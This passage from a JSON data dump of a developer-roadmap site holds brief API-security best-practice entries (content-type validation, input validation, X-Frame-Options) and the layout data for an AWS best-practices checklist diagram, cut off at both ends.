OAuth, OpenID Connect, and SAML provide more secure and robust methods for authentication. These methods typically use encrypted protocols to protect the user's credentials, provide mechanisms for verifying the integrity of the data, and support MFA. As a result, they are much more secure and reliable than basic authentication and should be used whenever possible.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/validate-content-type.md",
    "content": "# Content Type Validation\n\n> Validate `content-type` on request headers to prevent XSS attacks\n\nValidating the `Content-Type` header on the request can help to make APIs more secure by ensuring that the request data is in the expected format and reducing the risk of attacks such as injection attacks or cross-site scripting (XSS).\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/validate-user-input.md",
    "content": "# Validate User Input\n\n> Validate user input to avoid common vulnerabilities\n\nUser input is a common source of vulnerabilities in web applications. This is because user input is often not properly validated, sanitized, or escaped before being used in a web application. This can allow an attacker to manipulate the input and execute malicious code or cause the application to behave unexpectedly.\n"
  },
  {
    "path": "src/data/best-practices/api-security/content/x-frame-options-deny.md",
    "content": "# X-Frame-Options: Deny\n\n> Send `X-Frame-Options: deny` header.\n\nThe `X-Frame-Options` header prevents the page from being displayed in an iframe, which is commonly used in clickjacking attacks. By setting the value of this header to `deny`, you are telling the browser not to display the page in any iframe. This helps prevent the page from being embedded within an attacker's website and reduces the risk of clickjacking attacks.\n\n- [@video@Tutorial - X-Frame-Options HTTP Header and Click-Jacking](https://www.youtube.com/watch?v=Els0GRj0CQM)"
  },
  {
    "path": "src/data/best-practices/aws/aws.json",
    "content": "{\"mockup\":{\"controls\":{\"control\":[{\"ID\":\"229\",\"typeID\":\"Arrow\",\"zOrder\":\"0\",\"w\":\"1264\",\"h\":\"1\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"192\",\"y\":\"433\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"color\":\"4273622\",\"p0\":{\"x\":0.4242424242424079,\"y\":1},\"p1\":{\"x\":0.4999384539635645,\"y\":-7.111231622885778e-20},\"p2\":{\"x\":1264.8181818181818,\"y\":-0.4242424242424363}}},{\"ID\":\"230\",\"typeID\":\"Canvas\",\"zOrder\":\"1\",\"w\":\"198\",\"h\":\"50\",\"measuredW\":\"100\",\"measuredH\":\"70\",\"x\":\"1018\",\"y\":\"410\",\"properties\":{\"color\":\"16776960\"}},{\"ID\":\"231\",\"typeID\":\"Label\",\"zOrder\":\"2\",\"measuredW\":\"101\",\"measuredH\":\"28\",\"x\":\"1066\",\"y\":\"421\",\"properties\":{\"size\":\"20\",\"text\":\"Operations\"}},{\"ID\":\"244\",\"typeID\":\"Arrow\",\"zOrder\":\"15\",\"w\":\"1\",\"h\":\"81\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"814\",\"y\":\"2496\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"stroke\":\"dotted\",\"color\":\"10027263\",\"p0\":{\"x\":0,\"y\":0},\"p1\":{\"x\":0.49999999999999994,\"y\":0},\"p2\":{\"x\":0,\"y\":81.09090909090901}}},{\"ID\":\"245\",\"typeID\":\"Canvas\",\"zOrder\":\"16\",\"w\":\"198\",\"h\":\"50\",\"measuredW\":\"100\",\"measuredH\":\"70\",\"x\":\"350\",\"y\":\"409\",\"properties\":{\"color\":\"16776960\"}},{\"ID\":\"248\",\"typeID\":\"Label\",\"zOrder\":\"19\",\"measuredW\":\"286\",\"measuredH\":\"40\",\"x\":\"654\",\"y\":\"226\",\"properties\":{\"size\":\"32\",\"text\":\"AWS Best Practices\"}},{\"ID\":\"249\",\"typeID\":\"Canvas\",\"zOrder\":\"20\",\"w\":\"361\",\"h\":\"150\",\"measuredW\":\"100\",\"measuredH\":\"70\",\"x\":\"1082\",\"y\":\"175\"},{\"ID\":\"250\",\"typeID\":\"Label\",\"zOrder\":\"21\",\"measuredW\":\"332\",\"measuredH\":\"26\",\"x\":\"1098\",\"y\":\"193\",\"properties\":{\"text\":\"Find the detailed version of this checklist\",\"size\":\"18\"}},{\"ID\":\"251\",\"typeID\":\"Label\",\"zOrder\":\"22\",\"measuredW\":\"318\",\"measuredH\":\"26\",\"x\":\"1098\",\"y\":\"221\",\"properties\":{\"size\":\"18\",\"text\":\"With details on how to implement these\"}},{\"ID\":\"252\",\"typeID\":\"__group__\",\"zOrder\":\"23\",\"measuredW\":\"329\",\"measuredH\":\"51\",\"w\":\"329\",\"h\":\"51\",\"x\":\"1098\",\"y\":\"257\",\"properties\":{\"controlName\":\"ext_link:roadmap.sh\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Canvas\",\"zOrder\":\"0\",\"w\":\"329\",\"h\":\"51\",\"measuredW\":\"100\",\"measuredH\":\"70\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"color\":\"4273622\",\"borderColor\":\"4273622\"}},{\"ID\":\"1\",\"typeID\":\"Label\",\"zOrder\":\"1\",\"measuredW\":\"172\",\"measuredH\":\"28\",\"x\":\"79\",\"y\":\"12\",\"properties\":{\"color\":\"16777215\",\"size\":\"20\",\"text\":\"https://roadmap.sh\"}}]}}},{\"ID\":\"253\",\"typeID\":\"Canvas\",\"zOrder\":\"24\",\"w\":\"373\",\"h\":\"169\",\"measuredW\":\"100\",\"measuredH\":\"70\",\"x\":\"196\",\"y\":\"168\"},{\"ID\":\"254\",\"typeID\":\"__group__\",\"zOrder\":\"25\",\"measuredW\":\"228\",\"measuredH\":\"26\",\"w\":\"228\",\"h\":\"26\",\"x\":\"230\",\"y\":\"247\",\"properties\":{\"controlName\":\"ext_link:wblinks.com/notes/aws-tips-i-wish-id-known-before-i-started/\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"195\",\"measuredH\":\"26\",\"x\":\"33\",\"y\":\"0\",\"properties\":{\"size\":\"18\",\"text\":\"AWS tips by Rich Adams\"}},{\"ID\":\"1\",\"typeID\":\"__group__\",\"zOrder\":\"1\",\"measuredW\":\"24\",\"measuredH\":\"24\",\"w\":\"24\",\"h\":\"24\",\"x\":\"0\",\"y\":\"2\",\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Icon\",\"zOrder\":\"0\",\"measuredW\":\"24\",\"measuredH\":\"24\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"color\":\"16777215\",\"icon\":{\"ID\":\"circle\",\"size\":\"small\"}}},{\"ID\":\"1\",\"typeID\":\"Icon\",\"zOrder\":\"1\",\"measuredW\":\"24\",\"measuredH\":\"24\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"color\":\"10066329\",\"icon\":{\"ID\":\"check-circle\",\"size\":\"small\"}}}]}}}]}}},{\"ID\":\"255\",\"typeID\":\"__group__\",\"zOrder\":\"26\",\"measuredW\":\"174\",\"measuredH\":\"26\",\"w\":\"174\",\"h\":\"26\",\"x\":\"230\",\"y\":\"283\",\"properties\":{\"controlName\":\"ext_link:github.com/open-guides/og-aws\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"141\",\"measuredH\":\"26\",\"x\":\"33\",\"y\":\"0\",\"properties\":{\"size\":\"18\",\"text\":\"AWS Open Guide\"}},{\"ID\":\"1\",\"typeID\":\"__group__\",\"zOrder\":\"1\",\"measuredW\":\"24\",\"measuredH\":\"24\",\"w\":\"24\",\"h\":\"24\",\"x\":\"0\",\"y\":\"2\",\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Icon\",\"zOrder\":\"0\",\"measuredW\":\"24\",\"measuredH\":\"24\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"color\":\"16777215\",\"icon\":{\"ID\":\"circle\",\"size\":\"small\"}}},{\"ID\":\"1\",\"typeID\":\"Icon\",\"zOrder\":\"1\",\"measuredW\":\"24\",\"measuredH\":\"24\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"color\":\"10066329\",\"icon\":{\"ID\":\"check-circle\",\"size\":\"small\"}}}]}}}]}}},{\"ID\":\"256\",\"typeID\":\"Label\",\"zOrder\":\"27\",\"measuredW\":\"268\",\"measuredH\":\"32\",\"x\":\"230\",\"y\":\"197\",\"properties\":{\"size\":\"24\",\"text\":\"References / Resources\"}},{\"ID\":\"257\",\"typeID\":\"Arrow\",\"zOrder\":\"28\",\"w\":\"1\",\"h\":\"76\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"812\",\"y\":\"134\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"p0\":{\"x\":0,\"y\":0},\"p1\":{\"x\":0.49999999999999994,\"y\":0},\"p2\":{\"x\":0,\"y\":76.17275043077757},\"stroke\":\"dotted\",\"color\":\"10027263\"}},{\"ID\":\"258\",\"typeID\":\"Label\",\"zOrder\":\"29\",\"measuredW\":\"121\",\"measuredH\":\"28\",\"x\":\"388\",\"y\":\"420\",\"properties\":{\"size\":\"20\",\"text\":\"Development\"}},{\"ID\":\"259\",\"typeID\":\"Arrow\",\"zOrder\":\"30\",\"w\":\"1\",\"h\":\"2248\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"814\",\"y\":\"287\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"color\":\"4273622\",\"p0\":{\"x\":0,\"y\":-0.48484848484849863},\"p1\":{\"x\":0.5,\"y\":0},\"p2\":{\"x\":0,\"y\":2247.8484848484845}}},{\"ID\":\"260\",\"typeID\":\"TextArea\",\"zOrder\":\"31\",\"w\":\"438\",\"h\":\"118\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"595\",\"y\":\"2410\"},{\"ID\":\"261\",\"typeID\":\"Label\",\"zOrder\":\"32\",\"measuredW\":\"366\",\"measuredH\":\"25\",\"x\":\"631\",\"y\":\"2429\",\"properties\":{\"size\":\"17\",\"text\":\"Continue Learning with following relevant tracks\"}},{\"ID\":\"262\",\"typeID\":\"__group__\",\"zOrder\":\"33\",\"measuredW\":\"198\",\"measuredH\":\"44\",\"w\":\"198\",\"h\":\"44\",\"x\":\"818\",\"y\":\"2466\",\"properties\":{\"controlName\":\"ext_link:roadmap.sh/devops\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"198\",\"h\":\"44\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"color\":\"16770457\"}},{\"ID\":\"1\",\"typeID\":\"Label\",\"zOrder\":\"1\",\"measuredW\":\"141\",\"measuredH\":\"25\",\"x\":\"28\",\"y\":\"10\",\"properties\":{\"size\":\"17\",\"text\":\"DevOps Roadmap\"}}]}}},{\"ID\":\"263\",\"typeID\":\"__group__\",\"zOrder\":\"34\",\"measuredW\":\"198\",\"measuredH\":\"44\",\"w\":\"198\",\"h\":\"44\",\"x\":\"610\",\"y\":\"2466\",\"properties\":{\"controlName\":\"ext_link:roadmap.sh/backend\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"198\",\"h\":\"44\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"color\":\"16770457\"}},{\"ID\":\"1\",\"typeID\":\"Label\",\"zOrder\":\"1\",\"measuredW\":\"147\",\"measuredH\":\"25\",\"x\":\"24\",\"y\":\"10\",\"properties\":{\"size\":\"17\",\"text\":\"Backend Roadmap\"}}]}}},{\"ID\":\"270\",\"typeID\":\"Arrow\",\"zOrder\":\"41\",\"w\":\"632\",\"h\":\"1\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"180\",\"y\":\"711\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"color\":\"4273622\",\"p0\":{\"x\":0.3030303030302832,\"y\":0},\"p1\":{\"x\":0.49999999999999994,\"y\":0},\"p2\":{\"x\":632,\"y\":0}}},{\"ID\":\"271\",\"typeID\":\"Canvas\",\"zOrder\":\"42\",\"w\":\"198\",\"h\":\"50\",\"measuredW\":\"100\",\"measuredH\":\"70\",\"x\":\"350\",\"y\":\"687\",\"properties\":{\"color\":\"16776960\"}},{\"ID\":\"272\",\"typeID\":\"Label\",\"zOrder\":\"43\",\"measuredW\":\"55\",\"measuredH\":\"28\",\"x\":\"421\",\"y\":\"698\",\"properties\":{\"size\":\"20\",\"text\":\"Billing\"}},{\"ID\":\"275\",\"typeID\":\"Arrow\",\"zOrder\":\"46\",\"w\":\"645\",\"h\":\"1\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"167\",\"y\":\"859\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"color\":\"4273622\",\"p0\":{\"x\":-0.3333333333333428,\"y\":0},\"p1\":{\"x\":0.4999999999999999,\"y\":0},\"p2\":{\"x\":645,\"y\":0}}},{\"ID\":\"276\",\"typeID\":\"Canvas\",\"zOrder\":\"47\",\"w\":\"198\",\"h\":\"50\",\"measuredW\":\"100\",\"measuredH\":\"70\",\"x\":\"350\",\"y\":\"835\",\"properties\":{\"color\":\"16776960\"}},{\"ID\":\"277\",\"typeID\":\"Label\",\"zOrder\":\"48\",\"measuredW\":\"73\",\"measuredH\":\"28\",\"x\":\"412\",\"y\":\"846\",\"properties\":{\"size\":\"20\",\"text\":\"Security\"}},{\"ID\":\"286\",\"typeID\":\"Arrow\",\"zOrder\":\"57\",\"w\":\"646\",\"h\":\"1\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"816\",\"y\":\"811\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"color\":\"4273622\",\"p0\":{\"x\":-0.31818181818175617,\"y\":0},\"p1\":{\"x\":0.4999441315812997,\"y\":0},\"p2\":{\"x\":645.3636363636363,\"y\":0}}},{\"ID\":\"287\",\"typeID\":\"Canvas\",\"zOrder\":\"58\",\"w\":\"198\",\"h\":\"50\",\"measuredW\":\"100\",\"measuredH\":\"70\",\"x\":\"1016\",\"y\":\"786\",\"properties\":{\"color\":\"16776960\"}},{\"ID\":\"288\",\"typeID\":\"Label\",\"zOrder\":\"59\",\"measuredW\":\"25\",\"measuredH\":\"28\",\"x\":\"1102\",\"y\":\"797\",\"properties\":{\"size\":\"20\",\"text\":\"S3\"}},{\"ID\":\"297\",\"typeID\":\"Arrow\",\"zOrder\":\"68\",\"w\":\"655\",\"h\":\"2\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"816\",\"y\":\"1097\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"color\":\"4273622\",\"p0\":{\"x\":-0.31818181818175617,\"y\":0},\"p1\":{\"x\":0.4999441315812998,\"y\":0},\"p2\":{\"x\":654.4545454545455,\"y\":2.303030303030255}}},{\"ID\":\"298\",\"typeID\":\"Canvas\",\"zOrder\":\"69\",\"w\":\"198\",\"h\":\"50\",\"measuredW\":\"100\",\"measuredH\":\"70\",\"x\":\"1016\",\"y\":\"1072\",\"properties\":{\"color\":\"16776960\"}},{\"ID\":\"299\",\"typeID\":\"Label\",\"zOrder\":\"70\",\"measuredW\":\"88\",\"measuredH\":\"28\",\"x\":\"1071\",\"y\":\"1083\",\"properties\":{\"size\":\"20\",\"text\":\"EC2/VPC\"}},{\"ID\":\"312\",\"typeID\":\"Arrow\",\"zOrder\":\"83\",\"w\":\"649\",\"h\":\"1\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"163\",\"y\":\"1138\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"color\":\"4273622\",\"p0\":{\"x\":-0.12121212121212466,\"y\":0},\"p1\":{\"x\":0.5000000000000001,\"y\":0},\"p2\":{\"x\":649,\"y\":0}}},{\"ID\":\"313\",\"typeID\":\"Canvas\",\"zOrder\":\"84\",\"w\":\"198\",\"h\":\"50\",\"measuredW\":\"100\",\"measuredH\":\"70\",\"x\":\"350\",\"y\":\"1114\",\"properties\":{\"color\":\"16776960\"}},{\"ID\":\"314\",\"typeID\":\"Label\",\"zOrder\":\"85\",\"measuredW\":\"39\",\"measuredH\":\"28\",\"x\":\"429\",\"y\":\"1125\",\"properties\":{\"size\":\"20\",\"text\":\"ELB\"}},{\"ID\":\"319\",\"typeID\":\"Arrow\",\"zOrder\":\"90\",\"w\":\"662\",\"h\":\"1\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"151\",\"y\":\"1333\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"color\":\"4273622\",\"p0\":{\"x\":-0.24242424242424931,\"y\":0},\"p1\":{\"x\":0.4999441315812997,\"y\":-2.2650878834641076e-19},\"p2\":{\"x\":662,\"y\":0}}},{\"ID\":\"320\",\"typeID\":\"Canvas\",\"zOrder\":\"91\",\"w\":\"198\",\"h\":\"50\",\"measuredW\":\"100\",\"measuredH\":\"70\",\"x\":\"350\",\"y\":\"1308\",\"properties\":{\"color\":\"16776960\"}},{\"ID\":\"321\",\"typeID\":\"Label\",\"zOrder\":\"92\",\"measuredW\":\"41\",\"measuredH\":\"28\",\"x\":\"428\",\"y\":\"1319\",\"properties\":{\"size\":\"20\",\"text\":\"RDS\"}},{\"ID\":\"324\",\"typeID\":\"Arrow\",\"zOrder\":\"95\",\"w\":\"660\",\"h\":\"1\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"152\",\"y\":\"1470\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"color\":\"4273622\",\"p0\":{\"x\":-0.48484848484849863,\"y\":0},\"p1\":{\"x\":0.5,\"y\":0},\"p2\":{\"x\":660,\"y\":0}}},{\"ID\":\"325\",\"typeID\":\"Canvas\",\"zOrder\":\"96\",\"w\":\"198\",\"h\":\"50\",\"measuredW\":\"100\",\"measuredH\":\"70\",\"x\":\"350\",\"y\":\"1446\",\"properties\":{\"color\":\"16776960\"}},{\"ID\":\"326\",\"typeID\":\"Label\",\"zOrder\":\"97\",\"measuredW\":\"109\",\"measuredH\":\"28\",\"x\":\"394\",\"y\":\"1457\",\"properties\":{\"size\":\"20\",\"text\":\"CloudWatch\"}},{\"ID\":\"335\",\"typeID\":\"Arrow\",\"zOrder\":\"106\",\"w\":\"656\",\"h\":\"1\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"816\",\"y\":\"1616\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"color\":\"4273622\",\"p0\":{\"x\":-0.31818181818175617,\"y\":0},\"p1\":{\"x\":0.4999441315812998,\"y\":0},\"p2\":{\"x\":655.969696969697,\"y\":0}}},{\"ID\":\"336\",\"typeID\":\"Canvas\",\"zOrder\":\"107\",\"w\":\"198\",\"h\":\"50\",\"measuredW\":\"100\",\"measuredH\":\"70\",\"x\":\"1016\",\"y\":\"1591\",\"properties\":{\"color\":\"16776960\"}},{\"ID\":\"337\",\"typeID\":\"Label\",\"zOrder\":\"108\",\"measuredW\":\"114\",\"measuredH\":\"28\",\"x\":\"1058\",\"y\":\"1602\",\"properties\":{\"size\":\"20\",\"text\":\"Auto-Scaling\"}},{\"ID\":\"346\",\"typeID\":\"Arrow\",\"zOrder\":\"117\",\"w\":\"662\",\"h\":\"1\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"150\",\"y\":\"1748\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"color\":\"4273622\",\"p0\":{\"x\":0,\"y\":0},\"p1\":{\"x\":0.49999999999999994,\"y\":0},\"p2\":{\"x\":662,\"y\":0}}},{\"ID\":\"347\",\"typeID\":\"Canvas\",\"zOrder\":\"118\",\"w\":\"198\",\"h\":\"50\",\"measuredW\":\"100\",\"measuredH\":\"70\",\"x\":\"350\",\"y\":\"1724\",\"properties\":{\"color\":\"16776960\"}},{\"ID\":\"348\",\"typeID\":\"Label\",\"zOrder\":\"119\",\"measuredW\":\"36\",\"measuredH\":\"28\",\"x\":\"431\",\"y\":\"1735\",\"properties\":{\"size\":\"20\",\"text\":\"IAM\"}},{\"ID\":\"355\",\"typeID\":\"Arrow\",\"zOrder\":\"126\",\"w\":\"659\",\"h\":\"1\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"815\",\"y\":\"1931\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"color\":\"4273622\",\"p0\":{\"x\":-0.31818181818175617,\"y\":0},\"p1\":{\"x\":0.49994413158129974,\"y\":0},\"p2\":{\"x\":658.4848484848485,\"y\":0}}},{\"ID\":\"356\",\"typeID\":\"Canvas\",\"zOrder\":\"127\",\"w\":\"198\",\"h\":\"50\",\"measuredW\":\"100\",\"measuredH\":\"70\",\"x\":\"1015\",\"y\":\"1906\",\"properties\":{\"color\":\"16776960\"}},{\"ID\":\"357\",\"typeID\":\"Label\",\"zOrder\":\"128\",\"measuredW\":\"79\",\"measuredH\":\"28\",\"x\":\"1074\",\"y\":\"1917\",\"properties\":{\"size\":\"20\",\"text\":\"Route53\"}},{\"ID\":\"360\",\"typeID\":\"Arrow\",\"zOrder\":\"131\",\"w\":\"664\",\"h\":\"1\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"814\",\"y\":\"2084\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"color\":\"4273622\",\"p0\":{\"x\":-0.31818181818175617,\"y\":0},\"p1\":{\"x\":0.4999441315812998,\"y\":0},\"p2\":{\"x\":664.030303030303,\"y\":0}}},{\"ID\":\"361\",\"typeID\":\"Canvas\",\"zOrder\":\"132\",\"w\":\"251\",\"h\":\"50\",\"measuredW\":\"100\",\"measuredH\":\"70\",\"x\":\"984\",\"y\":\"2059\",\"properties\":{\"color\":\"16776960\"}},{\"ID\":\"362\",\"typeID\":\"Label\",\"zOrder\":\"133\",\"measuredW\":\"177\",\"measuredH\":\"28\",\"x\":\"1018\",\"y\":\"2070\",\"properties\":{\"size\":\"20\",\"text\":\"Elastic MapReduce\"}},{\"ID\":\"365\",\"typeID\":\"Arrow\",\"zOrder\":\"136\",\"w\":\"665\",\"h\":\"1\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"147\",\"y\":\"1975\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"color\":\"4273622\",\"p0\":{\"x\":-0.030303030303031164,\"y\":0},\"p1\":{\"x\":0.49999999999999994,\"y\":0},\"p2\":{\"x\":665,\"y\":0}}},{\"ID\":\"366\",\"typeID\":\"Canvas\",\"zOrder\":\"137\",\"w\":\"198\",\"h\":\"50\",\"measuredW\":\"100\",\"measuredH\":\"70\",\"x\":\"350\",\"y\":\"1951\",\"properties\":{\"color\":\"16776960\"}},{\"ID\":\"367\",\"typeID\":\"Label\",\"zOrder\":\"138\",\"measuredW\":\"130\",\"measuredH\":\"28\",\"x\":\"384\",\"y\":\"1962\",\"properties\":{\"size\":\"20\",\"text\":\"Miscellaneous\"}},{\"ID\":\"382\",\"typeID\":\"Arrow\",\"zOrder\":\"153\",\"w\":\"650\",\"h\":\"1\",\"measuredW\":\"150\",\"measuredH\":\"100\",\"x\":\"815\",\"y\":\"1470\",\"properties\":{\"curvature\":\"0\",\"leftArrow\":\"false\",\"rightArrow\":\"false\",\"color\":\"4273622\",\"p0\":{\"x\":-0.15151515151515582,\"y\":0},\"p1\":{\"x\":0.5,\"y\":0},\"p2\":{\"x\":649.3939393939393,\"y\":0}}},{\"ID\":\"383\",\"typeID\":\"Canvas\",\"zOrder\":\"154\",\"w\":\"198\",\"h\":\"50\",\"measuredW\":\"100\",\"measuredH\":\"70\",\"x\":\"1024\",\"y\":\"1446\",\"properties\":{\"color\":\"16776960\"}},{\"ID\":\"384\",\"typeID\":\"Label\",\"zOrder\":\"155\",\"measuredW\":\"106\",\"measuredH\":\"28\",\"x\":\"1070\",\"y\":\"1457\",\"properties\":{\"size\":\"20\",\"text\":\"Elasticache\"}},{\"ID\":\"399\",\"typeID\":\"__group__\",\"zOrder\":\"17\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"244\",\"y\":\"495\",\"properties\":{\"controlName\":\"check:application-state\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"400\",\"typeID\":\"__group__\",\"zOrder\":\"18\",\"measuredW\":\"367\",\"measuredH\":\"28\",\"w\":\"367\",\"h\":\"28\",\"x\":\"291\",\"y\":\"496\",\"properties\":{\"controlName\":\"application-state\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"367\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Do not store application state on servers\"}}]}}},{\"ID\":\"401\",\"typeID\":\"__group__\",\"zOrder\":\"35\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"244\",\"y\":\"535\",\"properties\":{\"controlName\":\"check:logs-information\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"402\",\"typeID\":\"__group__\",\"zOrder\":\"36\",\"measuredW\":\"313\",\"measuredH\":\"28\",\"w\":\"313\",\"h\":\"28\",\"x\":\"291\",\"y\":\"536\",\"properties\":{\"controlName\":\"logs-information\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"313\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Store extra information in your logs\"}}]}}},{\"ID\":\"403\",\"typeID\":\"__group__\",\"zOrder\":\"37\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"244\",\"y\":\"575\",\"properties\":{\"controlName\":\"check:use-official-sdks\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"404\",\"typeID\":\"__group__\",\"zOrder\":\"38\",\"measuredW\":\"467\",\"measuredH\":\"28\",\"w\":\"467\",\"h\":\"28\",\"x\":\"291\",\"y\":\"576\",\"properties\":{\"controlName\":\"use-official-sdks\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"467\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"If you need to interact with AWS, use the official SDK\"}}]}}},{\"ID\":\"405\",\"typeID\":\"__group__\",\"zOrder\":\"39\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"244\",\"y\":\"615\",\"properties\":{\"controlName\":\"check:tools-for-logs\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"406\",\"typeID\":\"__group__\",\"zOrder\":\"40\",\"measuredW\":\"311\",\"measuredH\":\"28\",\"w\":\"311\",\"h\":\"28\",\"x\":\"291\",\"y\":\"616\",\"properties\":{\"controlName\":\"tools-for-logs\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"311\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Have tools to view application logs\"}}]}}},{\"ID\":\"407\",\"typeID\":\"__group__\",\"zOrder\":\"45\",\"measuredW\":\"257\",\"measuredH\":\"28\",\"w\":\"257\",\"h\":\"28\",\"x\":\"291\",\"y\":\"771\",\"properties\":{\"controlName\":\"billing-alerts\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"257\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Set up granular billing 